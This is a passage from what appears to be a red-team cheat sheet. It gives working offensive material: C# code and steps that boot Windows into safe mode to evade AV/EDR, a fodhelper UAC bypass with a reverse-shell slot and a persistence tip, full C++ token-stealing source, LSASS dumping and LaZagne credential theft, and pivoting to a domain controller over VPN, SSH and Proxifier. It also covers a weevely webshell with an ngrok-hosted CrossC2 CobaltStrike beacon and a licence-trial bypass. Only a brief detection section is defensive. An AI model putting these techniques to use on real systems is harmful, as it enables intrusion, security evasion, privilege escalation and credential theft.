				managementPath = new ManagementPath("root\\WMI:BcdObject.Id=\"{fa926493-6f1c-4193-a414-58f0b2456d1e}\",StoreFilePath=\"\"");
			}

			public  void SetSafeboot()
			{
				ManagementObject currentBootloader = new ManagementObject(managementScope, managementPath, null);
				currentBootloader.InvokeMethod("SetIntegerElement", new object[] { BcdOSLoaderInteger_SafeBoot, BcdLibrary_SafeBoot.SafemodeMinimal });
			}

			public  void RemoveSafeboot()
			{
				ManagementObject currentBootloader = new ManagementObject(managementScope, managementPath, null);
				currentBootloader.InvokeMethod("DeleteElement", new object[] { BcdOSLoaderInteger_SafeBoot });
			}
		}
		
		public class Shutdown
		{
			public static void Restart()
			{
				StartShutDown("-f -r -t 5");
			}

			/// <summary>
			/// Log off.
			/// </summary>
			public static void LogOff()
			{
				StartShutDown("-l");
			}

			/// <summary>
			///  Shutting Down Windows 
			/// </summary>
			public static void Shut()
			{
				StartShutDown("-f -s -t 5");
			}

			private static void StartShutDown(string param)
			{
				ProcessStartInfo proc = new ProcessStartInfo();
				proc.FileName = "cmd";
				proc.WindowStyle = ProcessWindowStyle.Hidden;
				proc.Arguments = "/C shutdown " + param;
				Process.Start(proc);
			}
		}			
	}
}
```

{% endtab %}
{% endtabs %}

**Reference:** <https://github.com/sirpedrotavares/CheckSafeBoot>

## Step by step

Initially, the scripts need to be uploaded into the target machine: ***C:\users\public***

![](/files/-MY9z_j96Qc0e0vShSHQ)

In short, the CheckSafeMode.cs script will try to identify the security AV/EDR, check if it is running, and put the machine in save mode and, restart the machine.

Here, how we can compile the CS file:

![](/files/-MYA-PDNZd94mc9-Hcvw)

```
:> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc CheckSafeMode.cs
```

After compiling the file, we need to **run the DoIt.bat file as administration rights**. This script will create the service and modify some registry keys that are essential to run the service in safe mode and boot it into safe mode.

![](/files/-MYA013Eb5nG9-KXUenc)

![](/files/-MYA07xiNtmf9B4IwwUi)

As observed above, after add the registry keys the machine is rebooted. When it comes up, it runs the exe file we have compiled to check if the security tools are running, removes safeboot option and then restarts. It takes about 30 seconds to finish.

### We got it! :sunglasses:&#x20;

![](/files/-MYAH61hzDMp_FXIBibN)

After it reboots out of safe mode, we can log back in and see the file it created with the output of the exe.&#x20;

![](/files/-MYA0pvh55wU9Ocdia4G)

This lets us know about the security product and if it is running. The results below are for defender. EDR vendor results are much more interesting.

## Removing safe mode service (house cleaning)

Finally, we can run undoit.bat to remove the service we have created and also remove the registry key.

![](/files/-MYA1GGz00QcU35NzP8i)

## Bonus: LSASS dump + LaZagne

Of course, we can use this technique to dump LSASS in safe mode, LaZagne, BloodHound ingestor and everything you want/need.

![](/files/-MYA1mABNsxVEspaN9VB)

![](/files/-MYAFw7aGnOSsof7VNs5)

## Detection / Defenses

Looking for changes in the registry:

```
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot
```

Consider checking if the EDR runs in safe mode. If it doesn’t, check with your vendor to see what they recommend to detect this technique.

## References

{% embed url="<https://medium.com/@markmotig/bypass-av-edr-with-safe-mode-975aacecc809>" %}


# Resources

## List with hooked calls AV

![](/files/-MYuTL16fkTub0AMM6AK)

**Symantec.txt**

```
NtCreateFile is hooked
NtCreateKey is hooked
NtCreateUserProcess is hooked
NtDeleteFile is hooked
NtDeleteKey is hooked
NtDeleteValueKey is hooked
NtMapViewOfSection is hooked
NtOpenFile is hooked
NtOpenKey is hooked
NtOpenKeyEx is hooked
NtRenameKey is hooked
NtSetInformationFile is hooked
NtSetValueKey is hooked
NtTerminateProcess is hooked
NtTerminateThread is hooked
ZwCreateFile is hooked
ZwCreateKey is hooked
ZwCreateUserProcess is hooked
ZwDeleteFile is hooked
ZwDeleteKey is hooked
ZwDeleteValueKey is hooked
ZwMapViewOfSection is hooked
ZwOpenFile is hooked
ZwOpenKey is hooked
ZwOpenKeyEx is hooked
ZwRenameKey is hooked
ZwSetInformationFile is hooked
ZwSetValueKey is hooked
ZwTerminateProcess is hooked
ZwTerminateThread is hooke
```

{% embed url="<https://github.com/Mr-Un1k0d3r/EDRs>" %}

{% embed url="<https://github.com/D3VI5H4/Antivirus-Artifacts>" %}


# UAC bypass

## UAC bypass in 2 lines

```
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value cmd.exe -Force
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
cmd -> fodhelper

Spaw anything:
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value 'your-reverse-shell' -Force
```

![](/files/-MYEYNUh90RgzzWSrPky)

**Hint:** You can use this to make your shellcode/backdoor persistent! :sunglasses:&#x20;

{% embed url="<https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/>" %}

{% embed url="<https://www.puckiestyle.nl/uac/>" %}


# Process migration like meterpreter

Those are some of the things the code is doing:

* Check if the **migrate.exe** process is running with the privileges of the **“nt authority\system”** user. We need it for future impersonation functionality.
* Open Handle to the wanted process (*this is the PID of the process we want to steal the privilege tokens from*).
* Duplicate their tokens (*privileges in windows system was managed by tokens*).
* If the duplication was successful it tries to run new process by using these duplicated tokens.

```
#include <windows.h>
#include <wchar.h>
#include <iostream>
#include <stdio.h>
#include <stdlib.h>

using namespace std; 

void usage(char *name)

{
       cout << "(-) Ex.: " << name << " <PID>  :: for open cmd.exe with new privilages.\n";
       cout << "(-) Ex.: " << name << " <PID> \"<command>\" :: for execute command by priveleges of requested PID.\n";
} 

BOOL SetPrivilege(HANDLE hToken,          // access token handle
                  LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
                  BOOL bEnablePrivilege   // to enable or disable privilege )

{
       TOKEN_PRIVILEGES tp;
       LUID luid;

       if (!LookupPrivilegeValue(
              NULL,            // lookup privilege on local system
              lpszPrivilege,   // privilege to lookup
              &luid))        // receives LUID of privilege

       {
              printf("\t(-) LookupPrivilegeValue error: %u\n", GetLastError());
              return FALSE;
       }

 
       tp.PrivilegeCount = 1;
       tp.Privileges[0].Luid = luid;
       if (bEnablePrivilege)
              tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
       else
              tp.Privileges[0].Attributes = 0;

       // Enable the privilege or disable all privileges.
       if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL))
       {
              printf("\t(-) AdjustTokenPrivileges error: %u\n", GetLastError());
              return FALSE;
       }

       if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) 
       {
              printf("\t(-) The token does not have the specified privilege. ");
              return FALSE;
       }

       return TRUE;
}


BOOL check()
{
       BOOL result = TRUE;
       BOOL bResult;
       HANDLE fhToken;
       LUID fLuid;
       PRIVILEGE_SET privs;
       OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &fhToken);
       wchar_t *cPrivs[] = { L"SeAssignPrimaryTokenPrivilege", L"SeTcbPrivilege" };
       for (int i = 0; i < 2; i++)
       {
              if (!LookupPrivilegeValue(
                      NULL,                               // lookup privilege on local system
                      (LPCTSTR)cPrivs[i],                // privilege to lookup
                      &fLuid))                          // receives LUID of privilege
                      {
                             printf("LookupPrivilegeValue error: %u\n", GetLastError());
                             ExitProcess(0);
                      }

              privs.PrivilegeCount = 1;
              privs.Control = PRIVILEGE_SET_ALL_NECESSARY;
              privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;
              privs.Privilege[0].Luid = fLuid;
              PrivilegeCheck(fhToken, &privs, &bResult);
              if (!bResult)
                      {
                             wprintf(L"\t(-) The process dosn't have the %s\n\n", cPrivs[i]);
                             result = FALSE;
                      }
       }
       return result;
}


int main(int argc, char *argv[])
{
       DWORD flag;
       if (argc <= 1 || argc >= 4)
       {
              usage(argv[0]);
              exit(0);
       }

       char *command;
       if (argc > 2)
       {
              command = argv[2];
              flag = CREATE_NO_WINDOW;
       }

       else
       {
              command = "cmd.exe";
              flag = 0;
       }

       DWORD pid = atoi(argv[1]);
       cout << "\n[***] Starting the migrate functionality, requested PID => " << pid << " [***]\n";
       cout << "(!) Check if the process have an required permissions...\n";
       Sleep(1000);

       if (!check())
       {
              cout << "(!) Trying to set the necessary privileges.\n";
              HANDLE currentProcessToken;
              OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &currentProcessToken);
              wchar_t *privs[9] = {L"SeAssignPrimaryTokenPrivilege", L"SeTcbPrivilege", L"SeCreateGlobalPrivilege", L"SeDebugPrivilege", L"SeImpersonatePrivilege", L"SeIncreaseQuotaPrivilege", L"SeProfileSingleProcessPrivilege", L"SeSecurityPrivilege", L"SeSystemEnvironmentPrivilege"};
              for (int i = 0; i < 9; i++)
              {
                      if (!SetPrivilege(currentProcessToken, privs[i], true))
                      {
                             wprintf(L"Access denied to set %s \n", privs[i]);
                             cout << "\t(-) You does not have the specified privilege. Migration aborted.\n";
                             ExitProcess(0);
                      }
              }
       }
       cout << "\t(+) All required Permissions was successfull granted.\n\n";  
    
       cout << "(!) Trying to open Handel for requested PID.\n";
       Sleep(1000);
       HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
       if (!hProcess) {
              cout << "\t(-) Can not open handle for requested PID";
              ExitProcess(0);
       }
       cout << "\t(+) The HANDLE was created success.\n\n";

       cout << "(!) Try to Duplicte existen tokens of the requested PID " << pid << "\n";
       HANDLE NewTokens;
       if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &NewTokens))
       {
              cout << "\t(-) Denied to handle Process Tokens\n";
              ExitProcess(0);
       }
       cout << "\t(+) Extracting tokens was successfull\n";
       Sleep(500);

       HANDLE hPrimaryToken;
       if (!DuplicateTokenEx(NewTokens, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hPrimaryToken))
       {
              cout << "\t(-) Denied to Duplicate process Tokens\n";
       }
       cout << "\t(+) Duplicate tokens was successfull\n\n";
       Sleep(1000);

       cout << "(!) Try to execute new process with duplicated tokens.\n";
       STARTUPINFO si;
       PROCESS_INFORMATION pi;
       ZeroMemory(&si, sizeof(si));
       si.cb = sizeof(si);
       si.lpDesktop = L"WinSta0\\Default"; //window station and desktop of interactive user
       ZeroMemory(&pi, sizeof(pi));
       wchar_t cmd[500];
       swprintf_s(cmd, L"cmd.exe /c %hs", command);
       Sleep(500);

       if (!CreateProcessWithTokenW(hPrimaryToken, 0x00000001, NULL, (LPWSTR)cmd, flag, NULL, NULL, &si, &pi))
       {
              cout << "\t(-) Somthing went wrong!!! \n\t";
              printf("     -Can't create new process with Extracted tokens, got error: %u\n", GetLastError());
              ExitProcess(0);

       }
       cout << "[***] We successfuly Migrated to requested PID. [***]\n";

       if (command != argv[2])
       {
              cout << "[***] The CMD console with new privilages was opened. [***]\n";
       }

       else
       {
              cout << "[***] Command was executed succesfully!!! [***]";
       }
       return 0;

}
```


# Lateral Movement (Pivoting)


# From Windows VPN + Kali VPN + DC

In this scenario, I will demonstrate how I can get connectivity to the Domain Controller via a local Windows machine + access a KALI with VPN and finally the Domain Controller.

## Scenario

We have the following scenario in a red teaming assessment:

* Windows local machine (e.g., CommandoVM) authenticated with VPN into the target infrastructure.
* A kali machine is accessible through VPN on the target infrastructure. This machine talks with the Domain Controller. We can use the Windows VM to execute programs and Powershell commands within the context of a domain user.

In sum, we can authenticate with the Windows VM into the Kali and forward all the traffic to the Domain Controller. Using an **openvpn** on the Kali, we can achieve this goal in a highly restricted environment.

## Windows VM - Connecting via VPN

<figure><img src="/files/mC5lrYLor8DSNyvlOExl" alt=""><figcaption></figcaption></figure>

## Install OpenVPN Kali Linux

{% embed url="<https://www.webhi.com/how-to/how-to-install-openvpn-server-on-ubuntu/>" %}

After the installation,  ensure that all the certificates were generated and are in place:

<figure><img src="/files/BMrIgomSTd70PDy44jUw" alt=""><figcaption></figcaption></figure>

After generating all the files, the "ca.crt", "client.crt" and "client.key" must be zipped and copied into the Windows VM to add them to the ovpn config file as follows:

```
ca C:\\Users\\IEUser\\Desktop\\openvpn\\ca.crt
cert C:\\Users\\IEUser\\Desktop\\openvpn\\client.crt
key C:\\Users\\IEUser\\Desktop\\openvpn\\client.key
```

## Windows OpenVPN

Install the OpenVPN. Before connecting ensure that:

* Connection to the target environment was achieved  (Windows VM Connecting via VPN above)
* Create an SSH tunnel on port: 1194 from the Kali machine available on the internal network

```
ssh -L1194:127.0.0.1:1194 username@target_kali
```

## Configurations Kali&#x20;

On the kali through SSH connection above ensure that IP tables are in place, e.g.:

```
sudo iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
sudo sysctl -w net.ipv4.ip_forward=1
```

This command configures network address translation (NAT) using iptables, a utility for configuring the Linux kernel's firewall. Let's break down the command:

* `iptables`: This is the command-line utility used to configure the Linux kernel's firewall.
* `-t nat`: This option specifies the table within iptables that we are working with. In this case, it's the NAT table, which is responsible for Network Address Translation.
* `-A POSTROUTING`: This option appends a rule to the end of the POSTROUTING chain. This chain is used for packets that are about to be sent out of the system.
* `-s 10.8.0.0/24`: This specifies the source IP addresses that match the rule. Here, it's set to the subnet 10.8.0.0/24, meaning all IP addresses from 10.8.0.1 to 10.8.0.254.
* `-o eth0`: This specifies the outgoing network interface. In this case, it's eth0, which is a common network interface name on Linux systems.
* `-j MASQUERADE`: This is the action to take if the packet matches the rule. Here, it's set to MASQUERADE, which means that the source IP address of the packet will be replaced with the IP address of the outgoing interface (eth0). This is commonly used for NAT when sharing internet access with multiple devices in a private network.

and&#x20;

* `net.ipv4.ip_forward`: This kernel parameter determines whether the system forwards IPv4 packets between network interfaces. When set to `1`, it enables IP forwarding, allowing the Linux system to act as a router, forwarding packets between different network interfaces.

Finally, start the openvpn server as follows:

```
sudo openvpn --config server.conf
```

Server config is something like this:

```
#################################################
# Sample OpenVPN 2.0 config file for            #
# multi-client server.                          #
#                                               #
# This file is for the server side              #
# of a many-clients <-> one-server              #
# OpenVPN configuration.                        #
#                                               #
# OpenVPN also supports                         #
# single-machine <-> single-machine             #
# configurations (See the Examples page         #
# on the web site for more info).               #
#                                               #
# This config should work on Windows            #
# or Linux/BSD systems.  Remember on            #
# Windows to quote pathnames and use            #
# double backslashes, e.g.:                     #
# "C:\\Program Files\\OpenVPN\\config\\foo.key" #
#                                               #
# Comments are preceded with '#' or ';'         #
#################################################

# Which local IP address should OpenVPN
# listen on? (optional)
;local a.b.c.d

# Which TCP/UDP port should OpenVPN listen on?
# If you want to run multiple OpenVPN instances
# on the same machine, use a different port
# number for each one.  You will need to
# open up this port on your firewall.
port 1194

# TCP or UDP server?
proto tcp
;proto udp

# "dev tun" will create a routed IP tunnel,
# "dev tap" will create an ethernet tunnel.
# Use "dev tap0" if you are ethernet bridging
# and have precreated a tap0 virtual interface
# and bridged it with your ethernet interface.
# If you want to control access policies
# over the VPN, you must create firewall
# rules for the the TUN/TAP interface.
# On non-Windows systems, you can give
# an explicit unit number, such as tun0.
# On Windows, use "dev-node" for this.
# On most systems, the VPN will not function
# unless you partially or fully disable
# the firewall for the TUN/TAP interface.
;dev tap
dev tun

# Windows needs the TAP-Win32 adapter name
# from the Network Connections panel if you
# have more than one.  On XP SP2 or higher,
# you may need to selectively disable the
# Windows firewall for the TAP adapter.
# Non-Windows systems usually don't need this.
;dev-node MyTap

# SSL/TLS root certificate (ca), certificate
# (cert), and private key (key).  Each client
# and the server must have their own cert and
# key file.  The server and all clients will
# use the same ca file.
#
# See the "easy-rsa" directory for a series
# of scripts for generating RSA certificates
# and private keys.  Remember to use
# a unique Common Name for the server
# and each of the client certificates.
#
# Any X509 key management system can be used.
# OpenVPN can also use a PKCS #12 formatted key file
# (see "pkcs12" directive in man page).
ca ca.crt
cert server.crt
key server.key  # This file should be kept secret

# Diffie hellman parameters.
# Generate your own with:
#   openssl dhparam -out dh2048.pem 2048
dh dh2048.pem

# Network topology
# Should be subnet (addressing via IP)
# unless Windows clients v2.0.9 and lower have to
# be supported (then net30, i.e. a /30 per client)
# Defaults to net30 (not recommended)
;topology subnet

# Configure server mode and supply a VPN subnet
# for OpenVPN to draw client addresses from.
# The server will take 10.8.0.1 for itself,
# the rest will be made available to clients.
# Each client will be able to reach the server
# on 10.8.0.1. Comment this line out if you are
# ethernet bridging. See the man page for more info.
server 10.8.0.0 255.255.255.0

# Maintain a record of client <-> virtual IP address
# associations in this file.  If OpenVPN goes down or
# is restarted, reconnecting clients can be assigned
# the same virtual IP address from the pool that was
# previously assigned.
ifconfig-pool-persist /var/log/openvpn/ipp.txt

# Configure server mode for ethernet bridging.
# You must first use your OS's bridging capability
# to bridge the TAP interface with the ethernet
# NIC interface.  Then you must manually set the
# IP/netmask on the bridge interface, here we
# assume 10.8.0.4/255.255.255.0.  Finally we
# must set aside an IP range in this subnet
# (start=10.8.0.50 end=10.8.0.100) to allocate
# to connecting clients.  Leave this line commented
# out unless you are ethernet bridging.
;server-bridge 10.8.0.4 255.255.255.0 10.8.0.50 10.8.0.100

# Configure server mode for ethernet bridging
# using a DHCP-proxy, where clients talk
# to the OpenVPN server-side DHCP server
# to receive their IP address allocation
# and DNS server addresses.  You must first use
# your OS's bridging capability to bridge the TAP
# interface with the ethernet NIC interface.
# Note: this mode only works on clients (such as
# Windows), where the client-side TAP adapter is
# bound to a DHCP client.
;server-bridge

# Push routes to the client to allow it
# to reach other private subnets behind
# the server.  Remember that these
# private subnets will also need
# to know to route the OpenVPN client
# address pool (10.8.0.0/255.255.255.0)
# back to the OpenVPN server.
;push "route 192.168.10.0 255.255.255.0"
;push "route 192.168.20.0 255.255.255.0"

# To assign specific IP addresses to specific
# clients or if a connecting client has a private
# subnet behind it that should also have VPN access,
# use the subdirectory "ccd" for client-specific
# configuration files (see man page for more info).

# EXAMPLE: Suppose the client
# having the certificate common name "Thelonious"
# also has a small subnet behind his connecting
# machine, such as 192.168.40.128/255.255.255.248.
# First, uncomment out these lines:
;client-config-dir ccd
;route 192.168.40.128 255.255.255.248
# Then create a file ccd/Thelonious with this line:
#   iroute 192.168.40.128 255.255.255.248
# This will allow Thelonious' private subnet to
# access the VPN.  This example will only work
# if you are routing, not bridging, i.e. you are
# using "dev tun" and "server" directives.

# EXAMPLE: Suppose you want to give
# Thelonious a fixed VPN IP address of 10.9.0.1.
# First uncomment out these lines:
;client-config-dir ccd
;route 10.9.0.0 255.255.255.252
# Then add this line to ccd/Thelonious:
#   ifconfig-push 10.9.0.1 10.9.0.2

# Suppose that you want to enable different
# firewall access policies for different groups
# of clients.  There are two methods:
# (1) Run multiple OpenVPN daemons, one for each
#     group, and firewall the TUN/TAP interface
#     for each group/daemon appropriately.
# (2) (Advanced) Create a script to dynamically
#     modify the firewall in response to access
#     from different clients.  See man
#     page for more info on learn-address script.
;learn-address ./script

# If enabled, this directive will configure
# all clients to redirect their default
# network gateway through the VPN, causing
# all IP traffic such as web browsing and
# and DNS lookups to go through the VPN
# (The OpenVPN server machine may need to NAT
# or bridge the TUN/TAP interface to the internet
# in order for this to work properly).
push "redirect-gateway def1 bypass-dhcp"

# Certain Windows-specific network settings
# can be pushed to clients, such as DNS
# or WINS server addresses.  CAVEAT:
# http://openvpn.net/faq.html#dhcpcaveats
# The addresses below refer to the public
# DNS servers provided by opendns.com.
;push "dhcp-option DNS 208.67.222.222"
;push "dhcp-option DNS 208.67.220.220"

# Uncomment this directive to allow different
# clients to be able to "see" each other.
# By default, clients will only see the server.
# To force clients to only see the server, you
# will also need to appropriately firewall the
# server's TUN/TAP interface.
;client-to-client

# Uncomment this directive if multiple clients
# might connect with the same certificate/key
# files or common names.  This is recommended
# only for testing purposes.  For production use,
# each client should have its own certificate/key
# pair.
#
# IF YOU HAVE NOT GENERATED INDIVIDUAL
# CERTIFICATE/KEY PAIRS FOR EACH CLIENT,
# EACH HAVING ITS OWN UNIQUE "COMMON NAME",
# UNCOMMENT THIS LINE OUT.
;duplicate-cn

# The keepalive directive causes ping-like
# messages to be sent back and forth over
# the link so that each side knows when
# the other side has gone down.
# Ping every 10 seconds, assume that remote
# peer is down if no ping received during
# a 120 second time period.
keepalive 10 120

# For extra security beyond that provided
# by SSL/TLS, create an "HMAC firewall"
# to help block DoS attacks and UDP port flooding.
#
# Generate with:
#   openvpn --genkey --secret ta.key
#
# The server and each client must have
# a copy of this key.
# The second parameter should be '0'
# on the server and '1' on the clients.
;tls-auth ta.key 0 # This file is secret

tls-server

# Select a cryptographic cipher.
# This config item must be copied to
# the client config file as well.
# Note that v2.4 client/server will automatically
# negotiate AES-256-GCM in TLS mode.
# See also the ncp-cipher option in the manpage
cipher AES-256-CBC

# Enable compression on the VPN link and push the
# option to the client (v2.4+ only, for earlier
# versions see below)
;compress lz4-v2
;push "compress lz4-v2"

# For compression compatible with older clients use comp-lzo
# If you enable it here, you must also
# enable it in the client config file.
;comp-lzo

# The maximum number of concurrently connected
# clients we want to allow.
;max-clients 100

# It's a good idea to reduce the OpenVPN
# daemon's privileges after initialization.
#
# You can uncomment this out on
# non-Windows systems.
;user nobody
;group nogroup

# The persist options will try to avoid
# accessing certain resources on restart
# that may no longer be accessible because
# of the privilege downgrade.
persist-key
persist-tun

# Output a short status file showing
# current connections, truncated
# and rewritten every minute.
status /var/log/openvpn/openvpn-status.log

# By default, log messages will go to the syslog (or
# on Windows, if running as a service, they will go to
# the "\Program Files\OpenVPN\log" directory).
# Use log or log-append to override this default.
# "log" will truncate the log file on OpenVPN startup,
# while "log-append" will append to it.  Use one
# or the other (but not both).
;log         /var/log/openvpn/openvpn.log
;log-append  /var/log/openvpn/openvpn.log

# Set the appropriate level of log
# file verbosity.
#
# 0 is silent, except for fatal errors
# 4 is reasonable for general usage
# 5 and 6 can help to debug connection problems
# 9 is extremely verbose
verb 3

# Silence repeating messages.  At most 20
# sequential messages of the same message
# category will be output to the log.
;mute 20

# Notify the client that when the server restarts so it
# can automatically reconnect.
;explicit-exit-notify 1
```

## Connecting OpenVPN Windows

ovpn file can be imported into the OpenVPN client by doing: Import > Import File > (select file)

<figure><img src="/files/I91h34HXJe5hoJ0WvjDT" alt=""><figcaption></figcaption></figure>

```
##############################################
# Sample client-side OpenVPN 2.0 config file #
# for connecting to multi-client server.     #
#                                            #
# This configuration can be used by multiple #
# clients, however each client should have   #
# its own cert and key files.                #
#                                            #
# On Windows, you might want to rename this  #
# file so it has a .ovpn extension           #
##############################################

# Specify that we are a client and that we
# will be pulling certain config file directives
# from the server.
client

# Use the same setting as you are using on
# the server.
# On most systems, the VPN will not function
# unless you partially or fully disable
# the firewall for the TUN/TAP interface.
;dev tap
dev tun

# Windows needs the TAP-Win32 adapter name
# from the Network Connections panel
# if you have more than one.  On XP SP2,
# you may need to disable the firewall
# for the TAP adapter.
;dev-node MyTap

# Are we connecting to a TCP or
# UDP server?  Use the same setting as
# on the server.
proto tcp
;proto udp

# The hostname/IP and port of the server.
# You can have multiple remote entries
# to load balance between the servers.
remote 127.0.0.1 1194
;remote my-server-2 1194

# Choose a random host from the remote
# list for load-balancing.  Otherwise
# try hosts in the order specified.
;remote-random

# Keep trying indefinitely to resolve the
# host name of the OpenVPN server.  Very useful
# on machines which are not permanently connected
# to the internet such as laptops.
resolv-retry infinite

# Most clients don't need to bind to
# a specific local port number.
nobind

# Downgrade privileges after initialization (non-Windows only)
;user nobody
;group nogroup

# Try to preserve some state across restarts.
persist-key
persist-tun

# If you are connecting through an
# HTTP proxy to reach the actual OpenVPN
# server, put the proxy server/IP and
# port number here.  See the man page
# if your proxy server requires
# authentication.
;http-proxy-retry # retry on connection failures
;http-proxy [proxy server] [proxy port #]

# Wireless networks often produce a lot
# of duplicate packets.  Set this flag
# to silence duplicate packet warnings.
;mute-replay-warnings

# SSL/TLS parms.
# See the server config file for more
# description.  It's best to use
# a separate .crt/.key file pair
# for each client.  A single ca
# file can be used for all clients.
ca C:\\Users\\IEUser\\Desktop\\openvpn\\ca.crt
cert C:\\Users\\IEUser\\Desktop\\openvpn\\client.crt
key C:\\Users\\IEUser\\Desktop\\openvpn\\client.key

# Verify server certificate by checking that the
# certicate has the correct key usage set.
# This is an important precaution to protect against
# a potential attack discussed here:
#  http://openvpn.net/howto.html#mitm
#
# To use this feature, you will need to generate
# your server certificates with the keyUsage set to
#   digitalSignature, keyEncipherment
# and the extendedKeyUsage to
#   serverAuth
# EasyRSA can do this for you.
;remote-cert-tls server

# If a tls-auth key is used on the server
# then every client must also have the key.
;tls-auth ta.key 1

tls-client

# Select a cryptographic cipher.
# If the cipher option is used on the server
# then you must also specify it here.
# Note that v2.4 client/server will automatically
# negotiate AES-256-GCM in TLS mode.
# See also the ncp-cipher option in the manpage
cipher AES-256-CBC

# Enable compression on the VPN link.
# Don't enable this unless it is also
# enabled in the server config file.
#comp-lzo

# Set log file verbosity.
verb 3

# Silence repeating messages
;mute 20
```

and ... gotcha!

<figure><img src="/files/EkiYc8oh9JeH1uWuhLZT" alt=""><figcaption></figcaption></figure>

## Test Connection

```
nslookup domain.local
```

If we can't reach it, we need to adjust probably the Windows routes to connect with the Domain Controller:

```
route add 10.200.2.1 mask 255.255.255.255 10.8.0.5
route change 0.0.0.0 mask 128.0.0.0 10.8.0.5 metric 7
```

<figure><img src="/files/3b3eTbzTgy2BCibSGbNI" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/HlKSr8dr57jFeZWRhXdI" alt=""><figcaption></figcaption></figure>


# By using Proxifier

Scenario:

* Windows machine with VPN to the target network
* Kali machine available on the internal network.
* Pass all the traffic via Kali machine to reach the Domain Controllers.

1. Install the Proxifier tool on the Windows machine connected with the VPN on the target network.

{% embed url="<https://www.proxifier.com/>" %}

2. Open a ssh connection with the Kali machine available on the target network: **ssh -D 1080 user\@kali**
3. Pass all the network traffic from the selected apps via the proxifier routing it to the SSH connection.

### Bonus: Bypass Trial

<figure><img src="/files/ePOiZgedma9iD3WnPdWD" alt=""><figcaption></figcaption></figure>


# Persistence


# Command and Control (C\&C)

## Tools


# CobaltStrike 101


# Pivoting DMZ: weevely + ngrok + CS Pivot COMBO via Linux

Pivoting internally over DMZs using weevely + ngrok + CobaltStrike COMBO via a Linux machine

In this laboratory, we will understand how to use a simple webshell to deploy a CobaltStrike beacon on a Linux target system mainly available and placed on a DMZ and use it for pivoting through this machine into the internal network. This is a common scenario many times used during my red teaming assessments, for instance, when I find a flaw that permits the uploading of a webshell into the web-server. Let's do it.

## Webshell - weevely

I use weevely many times to deploy my webshell remotely. More information about this tool [**here**](https://gitbook.seguranca-informatica.pt/cheat-sheet-1/stuff/pivoting#pivoting-with-weevely-via-webshell).

```bash
weevely generate <password> <path>
weevely <URL> <password> [cmd]
```

Example how to access the target machine:

```bash
kali:> weevely http://target_system/evil.php my@password

[+] weevely 4.0.1

[+] Target:     target:/tmp
[+] Session:    /home/kali/.weevely/sessions/target/...
[+] Shell:      System shell

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> 
target:/tmp $ 
```

At this moment, we got a remote connection with the target server. It's time to prepare ngrok + CobaltStrike beacon to pivot into the internal network from our localhost connection.

## [ngrok](https://ngrok.com/)

In this step, you can use a trustable machine (e.g., EC2 instance from AWS) or simply ngrok. ngrok is a very useful tool that allows us to expose our localhost server through any NAT or firewall - and masquerading our public IP address - of course :nerd:&#x20;

{% embed url="<https://gitbook.seguranca-informatica.pt/cheat-sheet-1/stuff/pivoting#ngrok>" %}

We can use a configuration file as described on the link above, or simply by using the following command to start a new server on port: 8083:

```bash
./ngrok tcp 8083
```

Now, it's time to create the CobaltStrike stager.

![](/files/-MXTUEx0rH_RPSBe3peS)

## [**CrossC2** ](https://github.com/gloxec/CrossC2)

CrossC2 framework allows us to generate CobaltStrike's cross-platform payloads, e.g., Linux x64 and x86 beacons.

We can create an x64 or x86 payload depending on the target system architecture.&#x20;

**Tip**: use the `uname -a` command to check the target version.

**ngrok\_ip**: The resolved IP address from the ngrok address.\
**ngrok\_port:** The assigned port to the ngrok address.

```bash
./genCrossC2.Linux ngrok_ip ngrok_port .cobaltstrike.beacon_keys null Linux x86 ./cross
./genCrossC2.Linux ngrok_ip ngrok_port .cobaltstrike.beacon_keys null Linux x64 ./cross
```

![](/files/-MXTV6YyQ2GmAFaxMNwH)

The x64 payload was generated, and we can check it using the ***file*** command:

```bash
kali@kali:~/Desktop$ file cross
cross: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
```

Now, it's time to upload it into the target Linux webserver using weevely:

```bash
target:/tmp $ :file_upload /home/kali/Desktop/cross /tmp/cross
True
target:/tmp $
target:/tmp $ chmod +x cross
```

## Create CS Listener

The next step is to create the CS listener. We need to add our internal IP address on:

* **HTTPS HOSTS**
* **HTTPS HOST (STAGER)**

and the local port (8083) where the ngrok connection is mapped - **HTTPS PORT (C2)**.

![](/files/-MXTXOyqkDn3wqTBFMDs)

After that, the payload can be executed on the weevely webshell:

```bash
./cross
```

And yeah, we got it :sunglasses:&#x20;

![](/files/-MXTYRF6g-ba7TC3ZVym)

## Pivoting using CS

In the next phase, we will:

* **Create a socks4**
* **Use Metasploit to pivot internally;** or
* **Take advantage of proxychains tool** (my favorite approach) :space\_invader:&#x20;

By interacting with the new machine, you have the following options:

![Socks commands were highlighted.](/files/-MXT_M-TuzI8-drlLwXl)

We can create the new socket using the CS console, or by clicking on the target machine.

![](/files/-MXT_t5o9hI81TCRPROf)

![](/files/-MXT_xdU4L3Ka-gA6EYB)

Clicking on "**Launch**" button, the socket is created on the local machine (attacker machine). We can confirm it by using the following command:

```bash
netstat -antp | grep "LISTEN"
(...)
tcp6       0      0 :::14833                :::*                    LISTEN
```

### Metasploit for pivoting internally

Accessing the "**Proxy Pivots**" menu, we can get the command to pivot through MSF.

![](/files/-MXTb4qREpCcmECs1YwE)

